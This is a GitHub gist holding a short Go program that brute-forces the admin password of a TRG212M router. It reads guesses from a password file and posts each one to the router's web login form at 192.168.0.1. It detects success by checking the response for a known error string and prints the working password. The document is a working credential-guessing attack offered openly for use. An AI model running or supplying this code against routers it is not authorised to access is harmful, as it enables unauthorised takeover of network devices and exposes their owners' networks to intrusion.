Skip to content

Instantly share code, notes, and snippets.

@shellus
Created September 16, 2017 02:33
Show Gist options
  • Save shellus/4136ab77ac21fdc5c860f5754d83af2a to your computer and use it in GitHub Desktop.
Save shellus/4136ab77ac21fdc5c860f5754d83af2a to your computer and use it in GitHub Desktop.
TRG212M router password try
package main
import (
"net/http"
"net/url"
"io/ioutil"
"strings"
"fmt"
"bufio"
"os"
)
func main(){
passwdFile, err := os.OpenFile("password.txt", os.O_RDONLY, os.ModePerm)
if err != nil {
panic(err)
}
scan := bufio.NewScanner(passwdFile)
scan.Split(bufio.ScanLines)
for scan.Scan(){
pass := scan.Text()
fmt.Println(pass)
if login("admin",pass){
fmt.Printf("success!, password is [%s]", pass)
return
}
fmt.Println("over")
}
}
func login(user, passwd string)bool{
uri := "http://192.168.0.1/cgi-bin/webproc"
data := url.Values{
}
data.Add("getpage","html/index.html")
data.Add("errorpage","html/main.html")
data.Add("var:menu","status")
data.Add("var:page","system_msg")
data.Add("var:login","true")
data.Add("obj-action","auth")
data.Add(":username",user)
data.Add(":password",passwd)
data.Add(":action","login")
data.Add(":sessionid","2c8f971f")
resp,err := http.PostForm(uri, data)
if err != nil {
panic(err)
}
buf, err := ioutil.ReadAll(resp.Body)
if err != nil {
panic(err)
}
return strings.Index(string(buf), `G_Error_Msg = "result=12119007"`) == -1
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment